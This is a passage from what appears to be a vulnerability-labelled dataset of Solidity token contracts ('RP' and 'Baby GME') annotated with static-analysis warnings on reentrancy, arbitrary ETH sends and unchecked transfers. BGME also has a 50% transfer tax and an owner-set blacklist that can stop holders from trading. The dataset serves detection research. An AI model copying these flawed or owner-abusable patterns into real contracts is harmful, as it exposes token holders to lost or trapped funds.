3;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8dd75c): RP.buysFirstBlock should be constant \n\t// Recommendation for e8dd75c: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 034f13b): RP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 034f13b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6d246e0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6d246e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6e0076a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6e0076a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6d246e0\n\t\t// reentrancy-benign | ID: 6e0076a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6d246e0\n\t\t// reentrancy-benign | ID: 6e0076a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d75f8f8): RP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d75f8f8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6e0076a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6d246e0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1c00e89): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1c00e89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9535efc): RP._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 9535efc: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 822be5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 822be5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 93c7bb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 93c7bb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 9535efc\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 1c00e89\n\t\t\t\t// reentrancy-eth | ID: 822be5c\n\t\t\t\t// reentrancy-eth | ID: 93c7bb5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1c00e89\n\t\t\t\t\t// reentrancy-eth | ID: 822be5c\n\t\t\t\t\t// reentrancy-eth | ID: 93c7bb5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 822be5c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 822be5c\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 1c00e89\n\t\t\t\t// reentrancy-eth | ID: 93c7bb5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1c00e89\n\t\t\t\t\t// reentrancy-eth | ID: 93c7bb5\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 93c7bb5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1c00e89\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 93c7bb5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 93c7bb5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1c00e89\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6d246e0\n\t\t// reentrancy-events | ID: 1c00e89\n\t\t// reentrancy-benign | ID: 6e0076a\n\t\t// reentrancy-eth | ID: 822be5c\n\t\t// reentrancy-eth | ID: 93c7bb5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e248b3b): RP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e248b3b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6d246e0\n\t\t// reentrancy-events | ID: 1c00e89\n\t\t// reentrancy-eth | ID: 822be5c\n\t\t// reentrancy-eth | ID: 93c7bb5\n\t\t// arbitrary-send-eth | ID: e248b3b\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3f93c27): RP.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 3f93c27: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 3f93c27\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2cddf30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2cddf30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a09f6e2): RP.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a09f6e2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0082420): RP.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0082420: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 78691df): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 78691df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 2cddf30\n\t\t// unused-return | ID: a09f6e2\n\t\t// reentrancy-eth | ID: 78691df\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2cddf30\n\t\t// unused-return | ID: 0082420\n\t\t// reentrancy-eth | ID: 78691df\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2cddf30\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 78691df\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 2cddf30\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10158.sol",
"size_bytes": 22993,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BGME is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 21a5bf8): BGME._taxWallet should be immutable \n\t// Recommendation for 21a5bf8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea15ac0): BGME._initialBuyTax should be constant \n\t// Recommendation for ea15ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1de7f3): BGME._initialSellTax should be constant \n\t// Recommendation for d1de7f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d5946b): BGME._reduceBuyTaxAt should be constant \n\t// Recommendation for 9d5946b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01ebbd0): BGME._reduceSellTaxAt should be constant \n\t// Recommendation for 01ebbd0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: c484fc1): BGME._preventSwapBefore should be constant \n\t// Recommendation for c484fc1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Baby GME\";\n\n string private constant _symbol = unicode\"BGME\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ff0fe4): BGME._taxSwapThreshold should be constant \n\t// Recommendation for 0ff0fe4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a52f81d): BGME._maxTaxSwap should be constant \n\t// Recommendation for a52f81d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6dcd74d): BGME.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6dcd74d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2cbc815): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2cbc815: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 499e309): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 499e309: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2cbc815\n\t\t// reentrancy-benign | ID: 499e309\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2cbc815\n\t\t// reentrancy-benign | ID: 499e309\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 506066c): BGME._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 506066c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 499e309\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2cbc815\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e9ea6e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e9ea6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5165eb3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5165eb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6e9ea6e\n\t\t\t\t// reentrancy-eth | ID: 5165eb3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6e9ea6e\n\t\t\t\t\t// reentrancy-eth | ID: 5165eb3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5165eb3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5165eb3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5165eb3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6e9ea6e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5165eb3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5165eb3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6e9ea6e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2cbc815\n\t\t// reentrancy-events | ID: 6e9ea6e\n\t\t// reentrancy-benign | ID: 499e309\n\t\t// reentrancy-eth | ID: 5165eb3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8511140): BGME.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8511140: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2cbc815\n\t\t// reentrancy-events | ID: 6e9ea6e\n\t\t// reentrancy-eth | ID: 5165eb3\n\t\t// arbitrary-send-eth | ID: 8511140\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4136371): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4136371: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 76b718f): BGME.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 76b718f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cd9a473): BGME.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cd9a473: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ca261b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ca261b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4136371\n\t\t// reentrancy-eth | ID: ca261b4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4136371\n\t\t// unused-return | ID: cd9a473\n\t\t// reentrancy-eth | ID: ca261b4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4136371\n\t\t// unused-return | ID: 76b718f\n\t\t// reentrancy-eth | ID: ca261b4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4136371\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ca261b4\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n 